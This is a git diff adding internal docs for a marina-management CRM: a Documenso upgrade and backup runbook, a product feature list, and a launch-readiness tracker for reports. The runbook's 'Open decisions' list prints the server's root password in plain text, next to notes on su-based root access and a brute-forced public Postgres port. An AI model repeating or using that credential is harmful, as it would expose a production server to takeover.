- **No-downtime caveat:** true zero-downtime is **not possible** (migrations run on restart). Goal = brief + pre-rehearsed: validate fully on the clone, pre-pull the image, then a fast prod cutover in a low-traffic window.
|
||||||
|
- CRM stays on Documenso **v1 API** after upgrade.
|
||||||
|
- Backups: `pg_dump` + cert + compose/env pulled to the Mac (`private/documenso-backups/`, gitignored) **and** a cold volume snapshot kept on-server for fastest rollback.
|
||||||
|
- Privilege: root via `su` (stefan isn't in the docker group; sudo needs a password we don't have — root pass works for `su`).
|
||||||
|
|
||||||
|
### Phase 0 — Dry-run on a disposable clone (zero prod risk)
|
||||||
|
|
||||||
|
- [ ] `pg_dump -Fc documenso_db` (live, no downtime) → restore into a throwaway `postgres:15` + `documenso:v2.11.0` stack on a **different compose project + port**, with a copy of the signing cert.
|
||||||
|
- [ ] Watch `prisma migrate deploy` run the full 1.13.1→2.11.0 chain. Confirm: all migrations succeed, app boots, **login works**, existing documents render.
|
||||||
|
- [ ] **Re-test the CRM's v1 API calls** against the clone → expect 200s.
|
||||||
|
- [ ] If a migration fails: capture it, fix forward (or decide a target version that's clean) BEFORE touching prod.
|
||||||
|
|
||||||
|
### Phase A — Prod backups (after Phase 0 passes; verified before any change)
|
||||||
|
|
||||||
|
- [ ] `pg_dump -Fc documenso_db` → pull to `private/documenso-backups/` on the Mac (off-box). Plus a plain SQL dump.
|
||||||
|
- [ ] Cold volume snapshot: stop stack → `tar` `documenso-production_documenso-database` → keep on-server + copy off. (This is the gold rollback — Prisma migrations aren't reversible.)
|
||||||
|
- [ ] Copy compose file + env + `/opt/documenso/{certificate.p12,private.key,certificate.crt}`.
|
||||||
|
- [ ] **MinIO `signatures`**: read-only object inventory (`{key,size,lastModified,etag}`) + DB→storage-key mapping export (Document/DocumentData → storage key) so files can be re-matched if linkage breaks.
|
||||||
|
- [ ] Test-restore the dump into a throwaway PG15; record SHA-256s.
|
||||||
|
|
||||||
|
### Phase B — Collation pre-fix (low risk; validate need on the clone first)
|
||||||
|
|
||||||
|
- [ ] `REFRESH COLLATION VERSION` on `documenso_db` (+ `template1`/`postgres`) + reindex, so the libc 2.36→2.41 mismatch can't interfere with migration index ops.
|
||||||
|
|
||||||
|
### Phase C — Prod upgrade (staged, pinned tags, low-traffic window)
|
||||||
|
|
||||||
|
- [ ] Pre-pull images. Edit compose: `v1.13.1 → v2.0.0` → `up -d` → watch migration logs → verify.
|
||||||
|
- [ ] Then `v2.0.0 → v2.11.0` → verify. Keep `postgres:15`.
|
||||||
|
|
||||||
|
### Phase D — Verify
|
||||||
|
|
||||||
|
- [ ] Login works; an existing completed envelope's PDF resolves from MinIO; send a test envelope; **webhook reaches the CRM** (`X-Documenso-Secret`, idempotent `handleDocumentCompleted`); reminders/void work.
|
||||||
|
- [ ] CRM unchanged (still v1 API).
|
||||||
|
|
||||||
|
### Phase E — Rollback (any failure)
|
||||||
|
|
||||||
|
- [ ] Revert image tag + restore the volume snapshot (and/or DB dump) → back to v1.13.1 exactly.
|
||||||
|
|
||||||
|
> Until Phase 0 passes AND a sober Phase A/C is explicitly approved step-by-step, **do not touch the Documenso container, DB, volumes, or `/opt/documenso`.**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Open decisions / what I need from you
|
||||||
|
|
||||||
|
1. ✅ MinIO creds filled; Documenso DB creds filled (creds file §3/§4). Still need the Documenso **API token** + **webhook secret** (generate after login as `matt@portnimara.com`).
|
||||||
|
2. **Verify the root/sudo password** (`IpMKQ0TW56ovv80` — confirmed it works for `su` to root; not stefan's sudo password).
|
||||||
|
3. **CRM Postgres:** own (compose default) or reuse an existing instance?
|
||||||
|
4. **Deploy dir** for the CRM on the server (`/opt/pn-crm`?).
|
||||||
|
5. **Registry pull token** — Gitea token for `docker login` on the server.
|
||||||
|
6. ✅ Documenso target = **v2.11.0**, staged, clone-validated first.
|
||||||
|
7. **Maintenance window** for the (brief, unavoidable) Documenso restart downtime.
|
||||||
|
8. **Off-box backup destination confirmed** = Mac `private/documenso-backups/` + on-server volume snapshot.
|
||||||
|
|
||||||
|
## Progress log
|
||||||
|
|
||||||
|
- 2026-05-31: Access established (SSH + Gitea API). Read-only recon done
|
||||||
|
(nginx templates, prod compose, host port 7100). CRM deploy plan drafted.
|
||||||
|
Documenso fully diagnosed read-only (v1.13.1, healthy app+DB, login issue =
|
||||||
|
wrong email `@letsbe` vs `@portnimara.com` + a non-Secure-cookie quirk;
|
||||||
|
5432 publicly exposed + brute-forced; libc collation mismatch). Researched
|
||||||
|
v2 upgrade (v2.11.0 latest, PG15 ok, env vars carry over, v1 API survives).
|
||||||
|
Upgrade runbook drafted. **No prod changes made; no backups taken.**
|
||||||
|
- 2026-06-01: **Phase 0 dry-run PASSED (local, zero prod impact).** Read-only
|
||||||
|
`pg_dump` of prod (3.5 MB — metadata only) → restored into a throwaway
|
||||||
|
`postgres:15` → booted `documenso:v2.11.0` against it. Result: full
|
||||||
|
v1.13.1→v2.11.0 chain applied cleanly (`All migrations have been
|
||||||
|
successfully applied`, 140→157, none unfinished), app boots (home 302,
|
||||||
|
signin 200, v2 api 200), and **v1 API still answers (400 not 404) → CRM
|
||||||
|
safe**. Dump saved at `private/documenso-backups/` (off-box backup).
|
||||||
|
Dry-run stack **torn down 2026-06-01** after the pass (`docker compose
|
||||||
|
-p documenso-dryrun down -v` — containers + anonymous volume + network
|
||||||
|
removed; restored clone gone, off-box dump retained). Compose file kept
|
||||||
|
at `private/documenso-dryrun/docker-compose.yml` for a re-run. Prod
|
||||||
|
still untouched.
|
||||||
234
docs/features-list.md
Normal file
234
docs/features-list.md
Normal file
@@ -0,0 +1,234 @@
|
|||||||
|
# Port Nimara CRM — Feature List
|
||||||
|
|
||||||
|
A complete, purpose-built CRM for marina/port management: a single integrated workspace for sales, berths, documents, communications, and reporting, with the public website's berth feed and enquiry intake flowing directly into it. Multi-tenant by design — one branded instance per port.
|
||||||
|
|
||||||
|
> Scope note: this list covers the features ready for the beta launch. The new client portal, the tenancies module, and the new invoicing module are still being finalised and are not included here.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Platform foundations
|
||||||
|
|
||||||
|
Apply across every feature area:
|
||||||
|
|
||||||
|
- **Purpose-built relational database (PostgreSQL)** modelled specifically for marina sales — fast on large data sets, rich relationships between entities (clients, companies, yachts, berths, deals, documents), and enforced data integrity.
|
||||||
|
- **Real-time updates.** Edits, stage changes, file attachments, and completed signings propagate to every open window within a second.
|
||||||
|
- **Per-port branding and configuration.** Each port has its own URL slug, logo, primary colour, default currency, timezone, and email templates, applied automatically to emails, PDFs, and the in-app shell.
|
||||||
|
- **Granular role-based permissions.** Defined per resource (clients, berths, documents, expenses, reports, etc.) with separate view / create / edit / delete / export verbs. Per-user overrides on top of per-role definitions.
|
||||||
|
- **Full audit trail.** Every meaningful change (who, what, before-and-after, when) recorded, retained 90 days, and searchable — surfaced in the activity feed, field-history popovers, and admin audit log.
|
||||||
|
- **Backups and operational tooling.** Automatic daily database backups, weekly cleanup, configurable retention, and a built-in system-monitoring dashboard.
|
||||||
|
- **Background job queue.** PDF generation, email sending, exports, webhook retries, and bounce polling run on a managed queue so the interface stays responsive.
|
||||||
|
- **GDPR-ready.** One-click Article 15 data exports per client, automatic 30-day cleanup of export bundles, and a permissioned hard-delete flow for Article 17 requests.
|
||||||
|
- **Pluggable file storage.** Object storage (S3-compatible) by default, with a one-command migration script to switch backends.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Sales pipeline
|
||||||
|
|
||||||
|
- **Kanban board** across seven canonical stages (Enquiry → Qualified → Nurturing → EOI → Reservation → Deposit Paid → Contract) with drag-and-drop, per-column counts, and completed-deal hiding.
|
||||||
|
- **List view** with sorting, filtering, paging, card / table toggle, bulk actions, and saved views per user.
|
||||||
|
- **Deal detail page** with tabs for overview, EOI, contract, reservation, documents, contact log, notes, and timeline. Every field is inline-editable in place.
|
||||||
|
- **Multi-berth interests.** A single deal can attach multiple berths with three independent flags: which berth is primary, which are publicly "under offer", and which are included in the EOI bundle.
|
||||||
|
- **Auto-advancing stages.** Deposits hitting their expected amount, EOI completion, contract signing, etc. move the deal forward automatically; staff can override.
|
||||||
|
- **Pipeline rules engine.** Seven configurable triggers (EOI sent, EOI signed, deposit received, contract signed, deal archived, deal completed, berth unlinked), each with auto / suggest / off modes and a per-port target berth status. Admin-tunable.
|
||||||
|
- **Outcomes.** Terminal outcomes (won, lost to another marina, lost unqualified, lost no response, cancelled) captured via an outcome dialog with required reason.
|
||||||
|
- **Tags, notes, contact log, and activity timeline** on every deal.
|
||||||
|
- **Saved views and recently-viewed.** Pin reusable filter+sort snapshots; recently-viewed items appear in the topbar.
|
||||||
|
- **Lead scoring badge** and **qualification checklist.** Per-port qualifying criteria are admin-defined; each deal shows a checklist and derived score.
|
||||||
|
- **Bulk actions.** Change stage, add/remove tags, archive — with confirmation dialogs and audit-logged outcomes.
|
||||||
|
- **Pipeline summary on each client.** All open and historic deals roll up onto the client detail page.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Berths
|
||||||
|
|
||||||
|
- **Catalog with list and card views**, filterable by status, area, and dimensions; every field inline-editable on the detail page.
|
||||||
|
- **Public berth feed** at `/api/public/berths` and `/api/public/berths/[mooringNumber]` for the marketing site; status computed with a clear precedence (Sold > Under Offer > Available), served from a 5-minute cache.
|
||||||
|
- **Versioned per-berth PDFs.** Every upload creates a new version; the current version is live. Three-tier automatic parsing (form-fields → OCR → optional AI), with mooring-number mismatch flagging.
|
||||||
|
- **Per-port brochures.** Multiple brochures per port with one enforced default; same upload + version flow as berth PDFs.
|
||||||
|
- **Send-berth-PDF dialog.** Branded email composition that attaches the berth PDF (or a signed-URL link when over the size threshold).
|
||||||
|
- **Berth recommender.** Pure-SQL ranking surfacing matching berths per deal via a four-tier ladder (A/B/C/D); Tier B uses heat scoring with admin-configurable weights.
|
||||||
|
- **Demand heat scoring.** Per-berth demand intensity, shown on the dashboard widget and each berth's detail panel.
|
||||||
|
- **Active interests popover.** Hover/tap any berth to see which deals are currently linked.
|
||||||
|
- **Bulk price edit.** A sheet for updating prices across many berths at once.
|
||||||
|
- **Bulk-add berths wizard** for onboarding inventory in batches.
|
||||||
|
- **Catch-up wizard** to reconcile legacy state when migrating berth data.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Yachts
|
||||||
|
|
||||||
|
- **Polymorphic ownership.** A yacht can be owned by a client or a company; respected throughout search, documents, pipelines, and reports.
|
||||||
|
- **Ownership history.** Every transfer recorded with date and parties; previous owners visible from the yacht detail.
|
||||||
|
- **Yacht transfer dialog** for moving a yacht between owners (client → client, client → company, etc.) with audit trail.
|
||||||
|
- **Inline editing** of all dimensions and identifiers; dimensions normalised and validated.
|
||||||
|
- **Reusable yacht picker** — the same searchable picker appears when creating a deal, attaching a document, or filing under an entity.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Companies & memberships
|
||||||
|
|
||||||
|
- **Companies list and detail** with tabs for overview, members, owned yachts, and files.
|
||||||
|
- **Members management.** Add/remove members with active/inactive state and roles; membership reach feeds the documents projection so a client sees relevant company files automatically.
|
||||||
|
- **Polymorphic ownership.** Companies can own yachts and be the contractual party on a deal.
|
||||||
|
- **Files tab** showing both directly-attached files and files reaching through related entities.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Clients
|
||||||
|
|
||||||
|
- **Single detail page** with tabs for overview, deals, yachts, companies, files, contact log, and notes.
|
||||||
|
- **Inline editing everywhere** — name, addresses, phone numbers, emails, sales rep, communication preferences.
|
||||||
|
- **Multi-channel contacts.** Multiple emails and phone numbers per client, with primary flagging and canonical phone normalisation for reliable search and matching.
|
||||||
|
- **Audit-driven field history.** Per-field history icon shows who changed a value, when, and the previous value.
|
||||||
|
- **Tags, notes, and contact log** via shared components for a consistent experience.
|
||||||
|
- **Pipeline summary.** All a client's deals (open and closed) roll up onto the detail page.
|
||||||
|
- **Smart archive / smart restore.** Archiving cascades related state intelligently; restore previews exactly what comes back.
|
||||||
|
- **Hard-delete with bulk variant** behind a permission gate.
|
||||||
|
- **GDPR Article 15 export button.** One click queues a ZIP bundle (JSON + readable HTML) and emails a signed download link; auto-deletes after 30 days.
|
||||||
|
- **Dedup engine.** Surfaces probable duplicates and offers a merge flow that consolidates linked records, notes, files, and audit trail.
|
||||||
|
- **Send-documents dialog** for branded multi-attachment sends from any client.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Documents hub
|
||||||
|
|
||||||
|
- **Folder tree** with nestable subfolders, drag-and-drop move, rename, and soft-rescue delete (children re-parent rather than disappear).
|
||||||
|
- **System folders per entity type** — `Clients/`, `Companies/`, `Yachts/` — auto-populated with per-entity subfolders on first use.
|
||||||
|
- **Auto-filing on signing.** When a signing envelope completes, the signed PDF lands in the correct entity folder automatically, based on who owns the deal.
|
||||||
|
- **Aggregated view across relationships.** A client's files plus files attached to their companies and yachts, grouped under clear headings (Directly Attached / From Company / From Yacht / From Client), each group capped for skimmability.
|
||||||
|
- **Rich file preview.** PDFs render inline; images preview at sensible sizes; everything else gets an icon, type label, and download.
|
||||||
|
- **Upload-for-signing dialog.** Send any file straight into a signing flow from the hub.
|
||||||
|
- **In-flight workflow tracker** — which envelopes are mid-signing across the aggregated reach.
|
||||||
|
- **Permissions** scoped by role: separate `view` and `manage_folders` verbs; system folders immutable via API.
|
||||||
|
- **Recent files** surfaced in the topbar and global search.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. EOI generation & document signing
|
||||||
|
|
||||||
|
- **Two pathways from one model.** EOIs generated through document-signing templates (primary) or filled into the in-app EOI PDF directly; both share the same data context.
|
||||||
|
- **Multi-berth EOI ranges.** Bundled berths render a compact range ("A1–A3, B5–B7") in the Berth Number field; the CRM shows the full set as chips. Catalogued merge tokens are enforced at template-creation time.
|
||||||
|
- **Configurable signing order.** Parallel or sequential per port, with a tri-state default (use template default / always parallel / always sequential).
|
||||||
|
- **Automation modes** per deal: manual, sequential auto (advances on each signature), or concurrent auto (everyone signs at once). Mode changes audit-logged.
|
||||||
|
- **Idempotent webhook handling.** Retries don't double-write; status changes normalised across both supported API versions; 5-minute polling safety net for missed webhooks.
|
||||||
|
- **Rejection reasons captured** when a signer declines.
|
||||||
|
- **Reminders and voids** surfaced directly from the deal detail.
|
||||||
|
- **Embedded signing card** for in-app signing where appropriate.
|
||||||
|
- **External EOI upload.** Record an EOI signed outside the system (PDF + counterparty list).
|
||||||
|
- **Webhook health card** in admin showing recent deliveries, failures, and a "test now" action.
|
||||||
|
- **Per-port signing configuration** — provider instance, API key, signing order, redirect URL.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Email send-outs
|
||||||
|
|
||||||
|
- **Per-port branded templates.** Every transactional email (invites, signing notifications, residential and berth enquiries, contract comms, digests, etc.) shares one branded shell that applies the port's branding automatically.
|
||||||
|
- **Configurable send-from accounts.** Per-port human send-from (e.g. `sales@portnimara.com`) and automation send-from (e.g. `noreply@portnimara.com`). SMTP/IMAP credentials encrypted at rest; APIs return only "is set" markers.
|
||||||
|
- **Compose dialog** with rich body (markdown rendered safely with a strict allow-list), multi-attachment, and live preview.
|
||||||
|
- **Smart attachment handling.** Files over a per-port size threshold ship as 24-hour signed-URL links instead of attaching.
|
||||||
|
- **Send rate limit** (50 sends/user/hour) to protect deliverability.
|
||||||
|
- **Email audit log.** Every send recorded with recipient list, body, attachments, and links; admin-browsable.
|
||||||
|
- **Inbound bounce monitoring.** A scheduled job (every 15 minutes) reads non-delivery reports and matches them to the original send.
|
||||||
|
- **Email threads** — replies to a CRM-originated email are threaded under the original.
|
||||||
|
- **Tracked-link composer.** Per-recipient tracked links for open and click-through attribution.
|
||||||
|
- **Per-port template overrides** from admin, without code changes.
|
||||||
|
- **Notification digests.** Hourly digest assembled from each user's unread notifications above a threshold.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Reports
|
||||||
|
|
||||||
|
- **Sales report** with KPI strip (deals open, EOIs sent this month, deposits received, win rate, average days-in-stage, conversion by source, etc.), pipeline funnel, stage-velocity chart, source-conversion chart, rep leaderboard, deal-heat panel, win-rate-over-time line, and supporting detail tables. All filters (stage, lead category, outcome) apply live.
|
||||||
|
- **Operational report** with an operational heatmap and signing-box plot for spotting signing/operations bottlenecks.
|
||||||
|
- **Custom report builder (MVP).** Pick an entity, choose columns, pick a date range, and run. Four entities live at launch; more entities and column-level controls roll out incrementally.
|
||||||
|
- **Save / load / save-as templates.** Any report configuration saved as a named template with an optional shareable link, re-runnable on demand.
|
||||||
|
- **Scheduled runs.** Weekly, monthly, or quarterly cadences; runs on schedule and optionally emails recipients a branded PDF. Run history browsable in admin.
|
||||||
|
- **PDF exports** server-side rendered with a branded cover page; CSV and Excel exports available client-side from every list.
|
||||||
|
- **Status badges** for each scheduled run.
|
||||||
|
- **Charts** combining standard bars/lines/pies with dedicated heatmap and funnel rendering.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Admin
|
||||||
|
|
||||||
|
- **Organised admin surface** grouping all settings into clear domains: Brand & Communication, Sales Workflow, Catalog, Identity & Access, Inbox & Data Quality, Integrations, and System & Observability.
|
||||||
|
- **Permissions UI.** Browse roles, edit role definitions, browse users, and assign per-user overrides via a visual permission matrix.
|
||||||
|
- **Settings registry.** A single, validated source of truth for every configurable setting, scoped per port.
|
||||||
|
- **System monitoring dashboard.** Service health, queue depth, and reconcile state in one place.
|
||||||
|
- **Port configuration** for adding new ports with their own branding, currency, timezone, and email background.
|
||||||
|
- **Self-service customisation.** Tags, vocabularies, custom fields, and supplemental info-request forms that tenants can shape themselves, without engineering involvement.
|
||||||
|
- **Onboarding checklist** to guide new ports through setup.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Search
|
||||||
|
|
||||||
|
- **Topbar search across every entity** — clients, residential clients, yachts, companies, deals, berths, invoices, expenses, documents, files, reminders, brochures, tags, plus navigation/settings deep-links.
|
||||||
|
- **Multiple match strategies.** Full-text for documents, partial-word for names and titles, fuzzy trigram matching ("Jhon" finds "John"), canonical phone-number matching that ignores formatting, and direct ID lookup.
|
||||||
|
- **Affinity ranking.** Recently-touched results are promoted.
|
||||||
|
- **Cross-port super-admin pass.** Super-admins see other-port matches in a separate, clearly-labelled section.
|
||||||
|
- **Permission-aware.** Viewers don't see results they couldn't open.
|
||||||
|
- **Mobile search overlay** designed for thumb reach.
|
||||||
|
- **Highlighted match terms** in each result.
|
||||||
|
- **Admin search across the seven IA domains** — every admin page reachable from the topbar by keyword.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. Activity feed & notifications
|
||||||
|
|
||||||
|
- **Dashboard activity widget** showing recent meaningful events across the port.
|
||||||
|
- **Per-entity activity feed** on every client, deal, berth, yacht, and company detail page.
|
||||||
|
- **Standardised verb vocabulary** — created, updated, archived, restored, merged, transferred, sent, signed, completed, rejected, voided, etc. Legacy events re-mapped to the current vocabulary.
|
||||||
|
- **My reminders rail** on the dashboard surfacing due and overdue follow-ups.
|
||||||
|
- **Reminders engine** with admin configuration (cadence, severity, recipients).
|
||||||
|
- **Alert engine.** Rule-based alerts evaluated every 5 minutes; admins define rules, the engine generates notifications when they fire.
|
||||||
|
- **In-app inbox** in the topbar.
|
||||||
|
- **Hourly notification digest email** when unread items pass a threshold.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 13. Analytics
|
||||||
|
|
||||||
|
- **Website-analytics dashboard** in the CRM: realtime visitors panel, world map, sessions list, session detail sheet, weekly heatmap, pageviews chart, top referrers / pages / devices, and per-metric detail shells.
|
||||||
|
- **Per-port project linking** to a website analytics project — CRM outcome events (EOI sent, deposit received, etc.) cross-post so marketing and sales metrics share a timeline.
|
||||||
|
- **Email-open pixel.** Branded sends include an open-tracking pixel; opens recorded against the original send and shown in the send audit log.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 14. Mobile & responsive design
|
||||||
|
|
||||||
|
- **Dedicated mobile shell** on small viewports: mobile topbar, bottom tab bar, and a "more" sheet for overflow navigation.
|
||||||
|
- **Card mode toggle on every list** — switch between table and card view; card view defaults on mobile.
|
||||||
|
- **Mobile search overlay** designed for thumb reach.
|
||||||
|
- **Responsive tab strips** that collapse intelligently.
|
||||||
|
- **Touch-tuned form controls** — phone input, country picker, and timezone picker built for mobile keyboards.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 15. Security & compliance
|
||||||
|
|
||||||
|
- **Authentication via `better-auth`** with session cookies; branded login, reset-password, and set-password surfaces.
|
||||||
|
- **CRM invitations** via a token-based admin-driven invite flow.
|
||||||
|
- **Granular RBAC.** Per-resource, per-action permissions applied at the service layer, not just the UI.
|
||||||
|
- **Audit log everywhere.** All meaningful actions recorded with severity tier; 90-day retention configurable.
|
||||||
|
- **GDPR Article 15 exports** (one-click bundle, signed download, 30-day cleanup) and Article 17 hard-delete with restore preview.
|
||||||
|
- **PII masking at audit-write time.**
|
||||||
|
- **Magic-byte PDF validation** on every upload path (in-server and presigned-PUT).
|
||||||
|
- **Timing-safe webhook verification** for document-signing callbacks.
|
||||||
|
- **Defense-in-depth port scoping** on every aggregated query — joins double-check `port_id`.
|
||||||
|
- **30-second timeouts on object-storage calls** so a slow host can't stall the application.
|
||||||
|
- **Per-port encryption-at-rest** for SMTP/IMAP credentials.
|
||||||
|
- **Pre-commit hooks block accidental secret commits** (`.env` files including `.env.example`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 16. Multi-tenancy at port level
|
||||||
|
|
||||||
|
- **Per-port URL slug** — own URL prefix, brand, and configuration.
|
||||||
|
- **Per-port branding** — logo, primary colour, default currency, timezone, branded email background.
|
||||||
|
- **Per-port email templates** — every transactional template overridable per port from admin.
|
||||||
|
- **Per-port signing configuration** — provider API version, API key, signing order, redirect URL.
|
||||||
|
- **Per-port storage backend** — S3-compatible or filesystem, switchable via migration script.
|
||||||
|
- **Per-port currency and timezone** flowing through the scheduler, dashboard timezone-drift banner, recommender deposit defaults, and every report.
|
||||||
|
- **Per-port sales settings** — qualification criteria, pipeline rules, recommender weights, send-from accounts, and AI budgets, all scoped to the port.
|
||||||
|
- **Cross-port super-admin search** — super-admins see other-port matches in a clearly-labelled secondary section; otherwise queries scope to the current port.
|
||||||
646
docs/launch-readiness.md
Normal file
646
docs/launch-readiness.md
Normal file
@@ -0,0 +1,646 @@
|
|||||||
|
# Launch Readiness — Pre-Prod Initiative
|
||||||
|
|
||||||
|
> **Scope:** the user enumerated five launch-blocking initiatives on
|
||||||
|
> 2026-05-27. This doc is the single home for all of them so we can
|
||||||
|
> track progress without losing items between sessions. Companion to
|
||||||
|
> `docs/superpowers/audits/active-uat.md` (which keeps the live UAT
|
||||||
|
> findings) and `docs/BACKLOG.md` (master backlog index).
|
||||||
|
>
|
||||||
|
> Status tags per item: `OPEN | IN PROGRESS | SHIPPED in <hash> | BLOCKED | DEFERRED`.
|
||||||
|
|
||||||
|
## Initiative 1 — Reports overhaul
|
||||||
|
|
||||||
|
**Status:** IN PROGRESS · Active phase
|
||||||
|
|
||||||
|
Goals (per user, 2026-05-27):
|
||||||
|
|
||||||
|
- Cover all four report categories: **Sales performance**, **Financial**,
|
||||||
|
**Marketing / funnel**, **Operational**.
|
||||||
|
- Template system: load template → modify → re-save OR save as new.
|
||||||
|
- Rich data density: more charts, more graphs, more KPIs.
|
||||||
|
- Output formats: **PDF + CSV + Excel** for each report.
|
||||||
|
- Scheduled reports: cron-driven; auto-email is **optional** (so the
|
||||||
|
admin can schedule a run without forcing an email blast).
|
||||||
|
- Custom builder: full ad-hoc (pick entity, columns, filters, group-by),
|
||||||
|
save as template — but quality-first; we don't ship a janky composer.
|
||||||
|
- UI/UX: stunning, fluid, beautiful. Within the existing white/navy
|
||||||
|
brand language — no off-brand experimental themes.
|
||||||
|
|
||||||
|
Decisions locked (2026-05-27):
|
||||||
|
|
||||||
|
- **Currency**: port branding default
|
||||||
|
- **Rep visibility**: port-scoped admin setting (default depends on
|
||||||
|
team size; PN is single-rep so default = full team)
|
||||||
|
- **AR aging buckets**: standard 30-day (current / 1-30 / 31-60 /
|
||||||
|
61-90 / 90+)
|
||||||
|
- **Custom builder entity scope**: all 10 entities
|
||||||
|
- **Pulse data**: fold into Sales report
|
||||||
|
- **Inquiry-link audit**: yes, audit + fix; no website-repo edits
|
||||||
|
required for the audit itself (link logic is server-side)
|
||||||
|
- **Scope cut for launch**: Sales + Operational ship first as
|
||||||
|
fully-functional reports; Marketing + Financial ship in tandem with
|
||||||
|
their data sources being wired (see Initiatives 2c + 2d below).
|
||||||
|
|
||||||
|
Phases (status snapshot 2026-05-27):
|
||||||
|
|
||||||
|
1. ✅ Foundation + UX overhaul — landing page (within existing
|
||||||
|
design system); charts library audit done; ExcelJS installed.
|
||||||
|
2. ✅ Sales Performance + Operational builders — full report pages
|
||||||
|
with KPIs / charts / tables; client-side Export to CSV + Excel +
|
||||||
|
PDF; server-side PDF endpoint for branded output. _See gaps
|
||||||
|
below._
|
||||||
|
3. ❌ Marketing report — NOT BUILT. Pending Init 1b cutover.
|
||||||
|
**Beta gate (2026-06-02):** the `marketing` kind in
|
||||||
|
`reports/[kind]/page.tsx` now returns `notFound()` (via
|
||||||
|
`UNAVAILABLE_NEW_KINDS`) instead of the "in development" placeholder,
|
||||||
|
so the beta reports surface reads as complete — the landing page only
|
||||||
|
advertises Sales / Operational / Financial / Custom, and the
|
||||||
|
hand-typed `/reports/marketing` URL 404s. **Remove the
|
||||||
|
`UNAVAILABLE_NEW_KINDS` entry when this report ships.** Decision: keep
|
||||||
|
the reports page live for beta rather than hiding it behind a module
|
||||||
|
toggle — 3 of 4 reports are fully built + verified (export, templates,
|
||||||
|
scheduling) and strictly beat the dashboard-only fallback.
|
||||||
|
4. ✅ Financial report — **SHIPPED in b690fb8d.** Built on the canonical
|
||||||
|
payments + expenses tables (invoices module stays OFF); the
|
||||||
|
invoice-centric spec was reframed onto the payments model
|
||||||
|
("outstanding AR" → expected-deposit shortfall; "AR aging" →
|
||||||
|
outstanding deposits by deal age). 7 KPIs, 6 charts, 4 tables, port-
|
||||||
|
currency normalised, 1y default range, templates + export. Marketing
|
||||||
|
is the only remaining unbuilt report.
|
||||||
|
5. ⚠️ Custom (ad-hoc) report builder — partial ship.
|
||||||
|
6. ✅ Scheduled reports with optional emailing — BullMQ poll +
|
||||||
|
render path live; recipients optional; PDF-only output.
|
||||||
|
7. ✅ Templates — load / modify / save / save-as / URL deep-link.
|
||||||
|
|
||||||
|
Open considerations carried forward:
|
||||||
|
|
||||||
|
- **Chart library mix.** Project already has `recharts` (simple bar/line/pie)
|
||||||
|
and `echarts` (heatmaps, funnels, complex). Lean on each where it fits;
|
||||||
|
don't add a third unless something specific is missing.
|
||||||
|
- **PDF cover-page treatment.** Each report PDF should open with a
|
||||||
|
branded cover (port logo, title, date range, generated-on stamp). Reuse
|
||||||
|
the existing `branded-document.tsx` shell.
|
||||||
|
|
||||||
|
Working spec: `docs/reports-content-spec.md` (per-category KPIs +
|
||||||
|
charts + tables proposed; updated as we walk through each).
|
||||||
|
|
||||||
|
### Reports — what's left (gap audit 2026-05-27)
|
||||||
|
|
||||||
|
Comparing the working spec against shipped code, here's the bucketed
|
||||||
|
backlog. **Items marked LAUNCH-BLOCK** are needed for the beta cutover;
|
||||||
|
everything else is post-launch polish unless promoted.
|
||||||
|
|
||||||
|
#### Cross-cutting capabilities (apply to every report)
|
||||||
|
|
||||||
|
- ⚠️ **Period comparison toggle** — "this period vs prior period" delta
|
||||||
|
arrows on KPI cards. **Sales: SHIPPED locally (2026-05-31)** — a
|
||||||
|
"Compare to prior period" toggle in the header computes an
|
||||||
|
equal-length preceding window (`previousPeriodBounds`), the API
|
||||||
|
recomputes KPIs for that window behind `?compare=1`, and the five
|
||||||
|
window-derived tiles (Won, Lost, Win rate, Avg time-to-close, New
|
||||||
|
leads) render colour-correct "vs prior" deltas. Point-in-time tiles
|
||||||
|
(Active interests, Pipeline value) intentionally have no delta.
|
||||||
|
Persisted in the saved-template config. TDD'd:
|
||||||
|
`previousPeriodBounds` + `computeSalesKpiComparison` unit tests.
|
||||||
|
Operational already rendered period-start deltas. **Still open:** the
|
||||||
|
spec's "on every report" — Operational uses a different
|
||||||
|
"vs period start" baseline; reconcile the two semantics if a single
|
||||||
|
consistent comparison is wanted.
|
||||||
|
- ✅ **Rep multi-select filter** — **SHIPPED in b97f6e94** (Sales).
|
||||||
|
Dynamic "Assigned to" multi-select populated from a window-independent
|
||||||
|
`getRepFilterOptions` (distinct assigned reps port-wide); hidden when
|
||||||
|
the port has no assigned interests.
|
||||||
|
- ✅ **Source multi-select filter** — **SHIPPED in b97f6e94** (Sales).
|
||||||
|
Static Source multi-select (website / manual / referral / broker /
|
||||||
|
other) allowlisted against `SOURCES`. Both filters thread through the 5
|
||||||
|
filtered Sales queries via a pure, unit-tested `parseSalesFilters`.
|
||||||
|
_Still open: replicate both on Operational + the other report pages._
|
||||||
|
- ✅ **Empty-state copy per report** — **SHIPPED (2026-06-02).** A
|
||||||
|
window-independent `hasData` flag on the Sales / Operational /
|
||||||
|
Financial routes drives a shared `<ReportEmptyState>` hero (named icon
|
||||||
|
- one-line body + onboarding action button) when the port has no
|
||||||
|
underlying data at all — distinct from the per-chart "no data in this
|
||||||
|
window" states, which already degraded gracefully. Targets: Sales →
|
||||||
|
Interests, Operational → Berths, Financial → Expenses. Spec:
|
||||||
|
`docs/superpowers/specs/2026-06-02-reports-polish-design.md`.
|
||||||
